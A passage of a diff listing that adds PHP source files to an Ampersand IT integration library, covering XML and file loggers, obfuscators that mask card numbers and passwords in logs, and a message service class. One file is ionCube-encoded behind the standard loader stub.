public function onFileExists($flag = null)
|
470 |
+
{
|
471 |
+
if (is_null($flag)) {
|
472 |
+
return $this->_fileExistsAction;
|
473 |
+
}
|
474 |
+
|
475 |
+
$this->_fileExistsAction = $flag;
|
476 |
+
|
477 |
+
return $this;
|
478 |
+
}
|
479 |
+
|
480 |
+
/**
|
481 |
+
* If a param is provided then this method sets the onFileNotExists action, otherwise it returns
|
482 |
+
* the current flag. This flag is used to determine what to do if the file path which we wish to
|
483 |
+
* write to is not in use
|
484 |
+
*
|
485 |
+
* @param string $flag OPTIONAL
|
486 |
+
* @return mixed If $flag is provided then Ampersand_Integration_Message_Logger_File is
|
487 |
+
* returned; otherwise, returns the current onFileExists flag
|
488 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
489 |
+
*/
|
490 |
+
public function onFileNotExists($flag = null)
|
491 |
+
{
|
492 |
+
if (is_null($flag)) {
|
493 |
+
return $this->_fileNotExistsAction;
|
494 |
+
}
|
495 |
+
|
496 |
+
$this->_fileNotExistsAction = $flag;
|
497 |
+
|
498 |
+
return $this;
|
499 |
+
}
|
500 |
+
}
|
lib/Ampersand/Integration/Message/Logger/Interface.php
ADDED
@@ -0,0 +1,25 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
interface Ampersand_Integration_Message_Logger_Interface
|
19 |
+
{
|
20 |
+
public function log(Ampersand_Integration_Debug_DebugInterface $debug);
|
21 |
+
|
22 |
+
public function setObfuscatorProvider(Ampersand_ClassProvider $provider);
|
23 |
+
|
24 |
+
public function getObfuscatorProvider();
|
25 |
+
}
|
lib/Ampersand/Integration/Message/Logger/Provider.php
ADDED
@@ -0,0 +1,24 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Message_Logger_Provider extends Ampersand_ClassProvider
|
19 |
+
{
|
20 |
+
protected $_classes = array(
|
21 |
+
'file' => 'Ampersand_Integration_Message_Logger_File',
|
22 |
+
'xml_file' => 'Ampersand_Integration_Message_Logger_XmlFile',
|
23 |
+
);
|
24 |
+
}
|
lib/Ampersand/Integration/Message/Logger/XmlFile.php
ADDED
@@ -0,0 +1,175 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Message_Logger_XmlFile extends Ampersand_Integration_Message_Logger_File
|
19 |
+
{
|
20 |
+
/** @var string */
|
21 |
+
protected $_filenameExtension = 'xml';
|
22 |
+
/** @var string */
|
23 |
+
protected $_fileExistsAction = self::NEW_FILE;
|
24 |
+
/** @var array */
|
25 |
+
protected $_processedDebugs;
|
26 |
+
|
27 |
+
protected function _beforeLog(Ampersand_Integration_Debug_DebugInterface $debug)
|
28 |
+
{
|
29 |
+
$this->_processedDebugs = array($debug);
|
30 |
+
|
31 |
+
return parent::_beforeLog($debug);
|
32 |
+
}
|
33 |
+
|
34 |
+
/**
|
35 |
+
* Extracts a string to be logged from the input data structure
|
36 |
+
*
|
37 |
+
* @param Ampersand_Integration_Debug_DebugInterface $debug
|
38 |
+
* @return string
|
39 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
40 |
+
*/
|
41 |
+
protected function _getDataToLog(Ampersand_Integration_Debug_DebugInterface $debug)
|
42 |
+
{
|
43 |
+
$data = $debug->getData();
|
44 |
+
|
45 |
+
$identifierDatas = array_key_exists('identifiers', $data) ? $data['identifiers'] : array();
|
46 |
+
if (is_array($identifierDatas) && count($identifierDatas)) {
|
47 |
+
$identifierDatas = $this->_prepareIdentifiers($identifierDatas);
|
48 |
+
}
|
49 |
+
$data['identifiers'] = $identifierDatas;
|
50 |
+
|
51 |
+
$xml = $this->_prepareData('log', $data);
|
52 |
+
|
53 |
+
return Ampersand_Xml::factory($xml)
|
54 |
+
->setAttribute('version', '2.0')
|
55 |
+
->asFormattedXml();
|
56 |
+
}
|
57 |
+
|
58 |
+
protected function _prepareData($name, $data, $maxDepth = 4)
|
59 |
+
{
|
60 |
+
$output = '';
|
61 |
+
|
62 |
+
if (is_array($data)) {
|
63 |
+
foreach ($data as $_key => $_value) {
|
64 |
+
$data[$_key] = $this->_prepareData($_key, $_value, $maxDepth - 1);
|
65 |
+
}
|
66 |
+
|
67 |
+
return '<array name="' . Ampersand_Xml::escape($name) . '" size="'
|
68 |
+
. count($data) . '">' . implode('', $data) . '</array>';
|
69 |
+
}
|
70 |
+
|
71 |
+
if (is_object($data)) {
|
72 |
+
$content = $this->_prepareObjectForLog($data, $maxDepth - 1);
|
73 |
+
|
74 |
+
return '<object name="' . Ampersand_Xml::escape($name) . '" class="'
|
75 |
+
. get_class($data) . '">' . $content . '</object>';
|
76 |
+
}
|
77 |
+
|
78 |
+
if (is_string($data)) {
|
79 |
+
$stringLength = strlen($data);
|
80 |
+
|
81 |
+
if ($stringLength != strlen(utf8_encode($data))) {
|
82 |
+
$data = base64_encode($data);
|
83 |
+
$encoding = ' encoding="base64"';
|
84 |
+
} else {
|
85 |
+
$data = Ampersand_Xml::escape($data);
|
86 |
+
$encoding = '';
|
87 |
+
}
|
88 |
+
|
89 |
+
return '<string name="' . Ampersand_Xml::escape($name) . '" length="'
|
90 |
+
. $stringLength . '"' . $encoding . '>' . $data . '</string>';
|
91 |
+
}
|
92 |
+
|
93 |
+
if (is_double($data)) {
|
94 |
+
return '<double name="' . Ampersand_Xml::escape($name) . '" >' . $data . '</double>';
|
95 |
+
}
|
96 |
+
|
97 |
+
if (is_int($data)) {
|
98 |
+
return '<int name="' . Ampersand_Xml::escape($name) . '" >' . $data . '</int>';
|
99 |
+
}
|
100 |
+
|
101 |
+
if (is_float($data)) {
|
102 |
+
return '<float name="' . Ampersand_Xml::escape($name) . '" >' . $data . '</float>';
|
103 |
+
}
|
104 |
+
|
105 |
+
if (is_bool($data)) {
|
106 |
+
$boolString = $data ? 'true' : 'false';
|
107 |
+
return '<bool name="' . Ampersand_Xml::escape($name) . '" >' . $boolString . '</bool>';
|
108 |
+
}
|
109 |
+
|
110 |
+
if (is_null($data)) {
|
111 |
+
return '<null name="' . Ampersand_Xml::escape($name) . '"/>';
|
112 |
+
}
|
113 |
+
|
114 |
+
return '';
|
115 |
+
}
|
116 |
+
|
117 |
+
protected function _prepareObjectForLog($object, $maxDepth)
|
118 |
+
{
|
119 |
+
if ($object instanceof Ampersand_Xml_Element) {
|
120 |
+
return Ampersand_Xml::escape($object->asFormattedXml());
|
121 |
+
}
|
122 |
+
|
123 |
+
if ($object instanceof Ampersand_Integration_DebugableInterface) {
|
124 |
+
$object = $object->getDebug();
|
125 |
+
}
|
126 |
+
|
127 |
+
if ($object instanceof Ampersand_Integration_Debug_DebugInterface) {
|
128 |
+
if (in_array($object, $this->_processedDebugs)) {
|
129 |
+
return '***Debug object already outputted***';
|
130 |
+
}
|
131 |
+
|
132 |
+
$this->_processedDebugs[] = $object;
|
133 |
+
}
|
134 |
+
|
135 |
+
if ($object instanceof Ampersand_Integration_Message_Data_Abstract) {
|
136 |
+
return $this->_prepareData('content', $object->getContent(), $maxDepth - 1)
|
137 |
+
. $this->_prepareData('headers', $object->getHeaders(), $maxDepth - 1)
|
138 |
+
. $this->_prepareData('data', $object->getData(), $maxDepth - 1);
|
139 |
+
}
|
140 |
+
|
141 |
+
if ($object instanceof Varien_Object && $maxDepth >= 0) {
|
142 |
+
return $this->_prepareData('data', $object->getData(), $maxDepth - 1);
|
143 |
+
}
|
144 |
+
|
145 |
+
if ($object instanceof Exception) {
|
146 |
+
$output = $this->_prepareData('message', $object->getMessage())
|
147 |
+
. $this->_prepareData('trace', $object->getTraceAsString());
|
148 |
+
|
149 |
+
if (version_compare(phpversion(), '5.3.0', '>=')
|
150 |
+
&& $previousException = $object->getPrevious()
|
151 |
+
) {
|
152 |
+
$output .= $this->_prepareData('previous', $previousException);
|
153 |
+
}
|
154 |
+
|
155 |
+
return $output;
|
156 |
+
}
|
157 |
+
|
158 |
+
if ($object instanceof Zend_Uri) {
|
159 |
+
return Ampersand_Xml::escape((string) $object);
|
160 |
+
}
|
161 |
+
|
162 |
+
return '...';
|
163 |
+
}
|
164 |
+
|
165 |
+
protected function _prepareIdentifiers(array $identifierGroups)
|
166 |
+
{
|
167 |
+
$identifiers = array();
|
168 |
+
|
169 |
+
foreach ($identifierGroups as $_name => $_identifiers) {
|
170 |
+
$identifiers[$_name] = array('identifier' => $_identifiers);
|
171 |
+
}
|
172 |
+
|
173 |
+
return $identifiers;
|
174 |
+
}
|
175 |
+
}
|
lib/Ampersand/Integration/Message/Obfuscator/Cc.php
ADDED
@@ -0,0 +1,16 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
class Ampersand_Integration_Message_Obfuscator_Cc
|
3 |
+
implements Ampersand_Integration_Message_Obfuscator_ObfuscatorInterface
|
4 |
+
{
|
5 |
+
public function obfuscate($string, $valueToObfuscate)
|
6 |
+
{
|
7 |
+
if (4 > strlen($valueToObfuscate)) {
|
8 |
+
return $string;
|
9 |
+
}
|
10 |
+
|
11 |
+
$obfuscatedValue = str_repeat('*', strlen($valueToObfuscate) - 4)
|
12 |
+
. substr($valueToObfuscate, -4);
|
13 |
+
|
14 |
+
return str_replace($valueToObfuscate, $obfuscatedValue, $string);
|
15 |
+
}
|
16 |
+
}
|
lib/Ampersand/Integration/Message/Obfuscator/FixedLength.php
ADDED
@@ -0,0 +1,9 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
class Ampersand_Integration_Message_Obfuscator_FixedLength
|
3 |
+
implements Ampersand_Integration_Message_Obfuscator_ObfuscatorInterface
|
4 |
+
{
|
5 |
+
public function obfuscate($string, $valueToObfuscate)
|
6 |
+
{
|
7 |
+
return str_replace($valueToObfuscate, '***OBFUSCATED***', $string);
|
8 |
+
}
|
9 |
+
}
|
lib/Ampersand/Integration/Message/Obfuscator/ObfuscatorInterface.php
ADDED
@@ -0,0 +1,5 @@
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
interface Ampersand_Integration_Message_Obfuscator_ObfuscatorInterface
|
3 |
+
{
|
4 |
+
public function obfuscate($input, $valueToObfuscate);
|
5 |
+
}
|
lib/Ampersand/Integration/Message/Obfuscator/Password.php
ADDED
@@ -0,0 +1,11 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
class Ampersand_Integration_Message_Obfuscator_Password
|
3 |
+
implements Ampersand_Integration_Message_Obfuscator_ObfuscatorInterface
|
4 |
+
{
|
5 |
+
public function obfuscate($string, $valueToObfuscate)
|
6 |
+
{
|
7 |
+
$obfuscatedValue = str_repeat('*', strlen($valueToObfuscate));
|
8 |
+
|
9 |
+
return str_replace($valueToObfuscate, $obfuscatedValue, $string);
|
10 |
+
}
|
11 |
+
}
|
lib/Ampersand/Integration/Message/Obfuscator/Provider.php
ADDED
@@ -0,0 +1,26 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Message_Obfuscator_Provider extends Ampersand_ClassProvider
|
19 |
+
{
|
20 |
+
protected $_classes = array(
|
21 |
+
'cc' => 'Ampersand_Integration_Message_Obfuscator_Cc',
|
22 |
+
'pass' => 'Ampersand_Integration_Message_Obfuscator_Password',
|
23 |
+
'password' => 'Ampersand_Integration_Message_Obfuscator_Password',
|
24 |
+
'fixed_length' => 'Ampersand_Integration_Message_Obfuscator_FixedLength',
|
25 |
+
);
|
26 |
+
}
|
lib/Ampersand/Integration/Message/Outgoing.php
ADDED
@@ -0,0 +1,104 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php //003ab
|
2 |
+
if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname(),0,3));$__ln='ioncube_loader_'.$__oc.'_'.substr(phpversion(),0,3).(($__oc=='win')?'.dll':'.so');@dl($__ln);if(function_exists('_il_exec')){return _il_exec();}$__ln='/ioncube/'.$__ln;$__oid=$__id=realpath(ini_get('extension_dir'));$__here=dirname(__FILE__);if(strlen($__id)>1&&$__id[1]==':'){$__id=str_replace('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}@dl($__ln);}else{die('The file '.__FILE__." is corrupted.\n");}if(function_exists('_il_exec')){return _il_exec();}echo('Site error: the file <b>'.__FILE__.'</b> requires the ionCube PHP Loader '.basename($__ln).' to be installed by the site administrator.');exit(199);
|
3 |
+
?>
|
4 |
+
4+oV52M41IZbNFuFv4AG2sVUVFVAwn1+cBuAfgsi6XudC8YxK7nvl4zl0hSiK8su+I8DkO9GWKkh
|
5 |
+
OLzSu1qMYOuCTcxVm6BzaKj+JEgAp786JZ630OqHafMr4C9BKlm+ITeUlx3Soh1qEla4Cnidv/XR
|
6 |
+
uHTNzrWKJxncyfdNTR54xe/BgzjPRc2x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llOqQ7kASzb/h0AMCCILJ9wz8IFnrG94cQyGcVpYMdYLVSpWRigtktc5eBYhObpeOwEErY8Pnu7v
|
96 |
+
K5xWJxNOkhW3jwuwIiLrv9wYlTWzqCnmlU2PCKFeyPn1xtsj2dqShxeEEnQJtrYEE5z12kdBQbOZ
|
97 |
+
MwQpMFQOK7v0jb2Mfz8riX+SbhawN5f3L5oGvydz5nG4nzuEWNuiaEbTK8liNDBM/GT6euLlZ1xw
|
98 |
+
C+CE/+HIU8EGQdwZykyYEt+SgWDZecFZt6qBdy17ovuuWKmYrXqU4iMS9ef8xuCaKJxAy3EzPKw7
|
99 |
+
6gxg/5kZDdlcdIKJ3/sR9eAd7Fy670b2GqyaVKmlof+gLJxtB9AhTDXDf4LVyLhxhMwfpN/0KoU/
|
100 |
+
BeIXx60h8NMppfsUgEQwAiI2HgYCBGH87r2ggez4a4zdI++8B6r6b3A2s7OohG4+BHI8lH3Iewpg
|
101 |
+
5N2n0dWBy2mxOH38BrUPiRkvLlMlm1XlmP01htIRBzEslUQGbcqlX3y0RhWSOUdu+jimWLrW+Xsn
|
102 |
+
BkBSLh75tZ6sjlGzusL+3RUN+atCqURnzCpEE6IuEPQe/BjHmp2ltDDAeQGWM43mhyTvQrWsftLt
|
103 |
+
gGi5iZljSGhJy0ip2Goho6CHNeUDVgMfBC7Ryqllei70fPvSxaCHWDWZ51jPgHIZAgM/JVBmGQHo
|
104 |
+
71VGVNCaiLUPX48=
|
lib/Ampersand/Integration/ReconfigurableInterface.php
ADDED
@@ -0,0 +1,17 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
interface Ampersand_Integration_ReconfigurableInterface
|
3 |
+
extends Ampersand_Integration_ConfigurableInterface
|
4 |
+
{
|
5 |
+
/**
|
6 |
+
* @param mixed $config
|
7 |
+
* @return Ampersand_Integration_ReconfigurableInterface
|
8 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
9 |
+
*/
|
10 |
+
public function setConfig($config);
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @return bool
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
public function hasConfig();
|
17 |
+
}
|
lib/Ampersand/Integration/Registry.php
ADDED
@@ -0,0 +1,51 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
class Ampersand_Integration_Registry extends Ampersand_Registry_Abstract
|
3 |
+
{
|
4 |
+
const REGISTRY_NAMESPACE = 'Ampersand_Integration';
|
5 |
+
|
6 |
+
/**
|
7 |
+
* Resets the registry
|
8 |
+
*
|
9 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
10 |
+
*/
|
11 |
+
public static function reset()
|
12 |
+
{
|
13 |
+
Ampersand_Registry::reset(self::REGISTRY_NAMESPACE);
|
14 |
+
}
|
15 |
+
|
16 |
+
/**
|
17 |
+
* Gets a value from the container instance
|
18 |
+
*
|
19 |
+
* @param string $key
|
20 |
+
* @return mixed
|
21 |
+
* @author Josh Di fabio <josh.difabio@ampersandit.co.uk>
|
22 |
+
*/
|
23 |
+
public static function get($key)
|
24 |
+
{
|
25 |
+
return Ampersand_Registry::get($key, self::REGISTRY_NAMESPACE);
|
26 |
+
}
|
27 |
+
|
28 |
+
/**
|
29 |
+
* Sets a value in the container instance
|
30 |
+
*
|
31 |
+
* @param string $key
|
32 |
+
* @param mixed $value
|
33 |
+
* @author Josh Di fabio <josh.difabio@ampersandit.co.uk>
|
34 |
+
*/
|
35 |
+
public static function set($key, $value)
|
36 |
+
{
|
37 |
+
Ampersand_Registry::set($key, $value, self::REGISTRY_NAMESPACE);
|
38 |
+
}
|
39 |
+
|
40 |
+
/**
|
41 |
+
* Returns whether or not a key exists in the container instance
|
42 |
+
*
|
43 |
+
* @param string $key
|
44 |
+
* @return bool
|
45 |
+
* @author Josh Di fabio <josh.difabio@ampersandit.co.uk>
|
46 |
+
*/
|
47 |
+
public static function has($key)
|
48 |
+
{
|
49 |
+
return Ampersand_Registry::has($key, self::REGISTRY_NAMESPACE);
|
50 |
+
}
|
51 |
+
}
|
lib/Ampersand/Integration/Service.php
ADDED
@@ -0,0 +1,203 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Integration
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Integration_Service
|
17 |
+
{
|
18 |
+
/** @var Ampersand_Integration_Message_Config_Outgoing */
|
19 |
+
protected $_baseOutgoingMessageConfig;
|
20 |
+
/** @var Ampersand_Integration_Message_Config_Incoming */
|
21 |
+
protected $_baseIncomingMessageConfig;
|
22 |
+
/** @var string */
|
23 |
+
protected $_xmlNamespace;
|
24 |
+
/** @var Ampersand_Integration_Debug_DebugInterface */
|
25 |
+
protected $_lastMessageDebug;
|
26 |
+
|
27 |
+
public static function factory(Ampersand_Integration_Message_Config_Outgoing $baseOutgoingMessageConfig = null, Ampersand_Integration_Message_Config_Incoming $baseIncomingMessageConfig = null, $xmlNamespace = null)
|
28 |
+
{
|
29 |
+
$service = self::_getNewServiceInstance();
|
30 |
+
|
31 |
+
if (!is_null($baseOutgoingMessageConfig)) {
|
32 |
+
$service->setBaseOutgoingMessageConfig($baseOutgoingMessageConfig);
|
33 |
+
}
|
34 |
+
|
35 |
+
if (!is_null($baseIncomingMessageConfig)) {
|
36 |
+
$service->setBaseIncomingMessageConfig($baseIncomingMessageConfig);
|
37 |
+
}
|
38 |
+
|
39 |
+
if (!is_null($xmlNamespace)) {
|
40 |
+
$service->setXmlNamespace($xmlNamespace);
|
41 |
+
}
|
42 |
+
|
43 |
+
return $service;
|
44 |
+
}
|
45 |
+
|
46 |
+
/**
|
47 |
+
* @return Ampersand_Integration_Service
|
48 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
49 |
+
*/
|
50 |
+
protected static function _getNewServiceInstance()
|
51 |
+
{
|
52 |
+
return new Ampersand_Integration_Service();
|
53 |
+
}
|
54 |
+
|
55 |
+
/**
|
56 |
+
* @param string $messageName
|
57 |
+
* @param mixed $input
|
58 |
+
* @return mixed
|
59 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
60 |
+
*/
|
61 |
+
public function sendMessage($messageName, $input = null)
|
62 |
+
{
|
63 |
+
$fullMessageName = $this->_prepareMessageName($messageName);
|
64 |
+
$message = Ampersand_Integration_Message_Outgoing::factory(
|
65 |
+
$this->getNewOutgoingMessageConfig(), $fullMessageName
|
66 |
+
);
|
67 |
+
$message->addDebugData('service_name', $this->getXmlNamespace())
|
68 |
+
->addDebugData('message_name', $messageName)
|
69 |
+
;
|
70 |
+
|
71 |
+
try {
|
72 |
+
$output = $message->send($input);
|
73 |
+
$this->_lastMessageDebug = $message->getDebug();
|
74 |
+
} catch (Exception $e) {
|
75 |
+
$this->_lastMessageDebug = $message->getDebug();
|
76 |
+
throw $e;
|
77 |
+
}
|
78 |
+
|
79 |
+
return $output;
|
80 |
+
}
|
81 |
+
|
82 |
+
public function captureMessage($messageName, $input = null)
|
83 |
+
{
|
84 |
+
$fullMessageName = $this->_prepareMessageName($messageName);
|
85 |
+
$message = Ampersand_Integration_Message_Incoming::factory(
|
86 |
+
$this->getNewIncomingMessageConfig(), $fullMessageName
|
87 |
+
);
|
88 |
+
$message->addDebugData('service_name', $this->getXmlNamespace())
|
89 |
+
->addDebugData('message_name', $messageName)
|
90 |
+
;
|
91 |
+
|
92 |
+
try {
|
93 |
+
$output = $message->capture($input);
|
94 |
+
$this->_lastMessageDebug = $message->getDebug();
|
95 |
+
} catch (Exception $e) {
|
96 |
+
$this->_lastMessageDebug = $message->getDebug();
|
97 |
+
throw $e;
|
98 |
+
}
|
99 |
+
|
100 |
+
return $output;
|
101 |
+
}
|
102 |
+
|
103 |
+
/**
|
104 |
+
* @return Ampersand_Integration_Debug_DebugInterface
|
105 |
+
* @author Josh Di Fabio <josh.difabio@ampersandcommerce.com>
|
106 |
+
*/
|
107 |
+
public function getLastMessageDebug()
|
108 |
+
{
|
109 |
+
return $this->_lastMessageDebug;
|
110 |
+
}
|
111 |
+
|
112 |
+
/**
|
113 |
+
* @param string $method
|
114 |
+
* @param array $arguments
|
115 |
+
* @return mixed
|
116 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
117 |
+
*/
|
118 |
+
public function __call($method, $arguments)
|
119 |
+
{
|
120 |
+
Ampersand_Deprecate::log('Use sendMessage() instead.');
|
121 |
+
|
122 |
+
return $this->sendMessage($method, reset($arguments));
|
123 |
+
}
|
124 |
+
|
125 |
+
/**
|
126 |
+
* @param string $messageName
|
127 |
+
* @return string
|
128 |
+
*/
|
129 |
+
protected function _prepareMessageName($messageName)
|
130 |
+
{
|
131 |
+
if ($this->_xmlNamespace) {
|
132 |
+
